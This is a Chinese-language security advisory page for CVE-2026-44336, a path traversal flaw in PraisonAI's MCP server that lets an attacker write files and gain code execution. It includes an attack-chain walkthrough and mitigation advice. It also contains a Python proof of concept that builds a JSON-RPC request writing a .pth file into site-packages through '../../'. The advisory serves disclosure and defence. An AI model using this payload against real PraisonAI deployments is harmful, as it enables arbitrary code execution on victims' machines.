IPBUF安全漏洞报告
English
CVE-2026-44336 CVSS 9.6 严重

CVE-2026-44336 PraisonAI路径遍历致任意代码执行漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2026-44336
漏洞类型
路径遍历, 任意代码执行
CVSS评分
9.6 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
PraisonAI

相关标签

路径遍历任意代码执行PraisonAIMCPCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

漏洞概述

PraisonAI是一个多智能体团队系统。在4.6.34版本之前,其MCP服务器默认注册的文件处理工具存在路径遍历漏洞。攻击者无需认证,通过构造含有“../”的参数即可绕过目录限制,写入任意文件。利用该漏洞可在用户site-packages目录植入.pth文件,从而在后续Python进程中执行任意代码,造成严重的安全风险。

技术细节

该漏洞源于PraisonAI的MCP(模型上下文协议)服务器在处理文件操作工具时,缺乏有效的路径验证机制。受影响的功能包括`praisonai.rules.create`、`praisonai.rules.show`等,它们直接接收用户输入的文件路径参数,并将其简单拼接到`~/.praison/rules/`目录下,未对输入参数进行边界检查或模式验证。攻击者可利用目录穿越序列(如`../../`)逃逸出原本受限的规则目录,进而写入任意文件。最危险的利用方式是向用户的Python site-packages目录写入恶意的`.pth`文件。Python解释器在启动时会自动执行`.pth`文件中的代码,因此攻击者只需诱使受害者运行任意Python进程(如CLI命令、IDE脚本或后台服务),即可触发恶意代码执行,从而完全控制受害者主机。

攻击链分析

STEP 1
1. 初始访问
攻击者诱导受害者启动PraisonAI MCP服务,或通过网络访问暴露的MCP服务端点。
STEP 2
2. 漏洞利用
攻击者向`praisonai.rules.create`接口发送特制的JSON-RPC请求,参数中包含路径遍历字符(如`../../`),指向用户site-packages目录。
STEP 3
3. 文件写入
由于缺乏路径校验,系统成功将包含恶意Python代码的`.pth`文件写入到site-packages目录中。
STEP 4
4. 代码执行
受害者下次运行Python进程(如执行`praisonai`命令、IDE脚本或REPL)时,Python解释器自动加载`.pth`文件并执行其中的恶意代码。
STEP 5
5. 影响达成
攻击者获得受害者用户的权限,可进一步窃取数据、植入后门或横向移动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import json import requests # Target URL (Mockup for demonstration) target_url = "http://localhost:8000/mcp" # Malicious payload: Create a .pth file in the user's site-packages directory # using path traversal ("../../") # Assuming the user site-packages is at /home/user/.local/lib/python3.10/site-packages/ malicious_path = "../../.local/lib/python3.10/site-packages/exploit.pth" magic_gadget = "import os; os.system('whoami')" payload = { "jsonrpc": "2.0", "method": "tools/call", "params": { "name": "praisonai.rules.create", "arguments": { "rule_name": malicious_path, "content": magic_gadget } }, "id": 1 } print("Sending malicious payload to write file:", malicious_path) print(json.dumps(payload, indent=2)) # In a real exploit scenario, the attacker would send this request: # response = requests.post(target_url, json=payload) # When the user runs any Python command next, the 'whoami' command executes.

影响范围

PraisonAI < 4.6.34

防御指南

临时缓解措施
建议立即将PraisonAI升级至4.6.34或更高版本以修复此漏洞。在无法升级的情况下,应严格限制对MCP服务端口的网络访问,避免暴露在不可信网络环境中。同时,检查用户site-packages目录中是否存在异常的.pth文件。

参考链接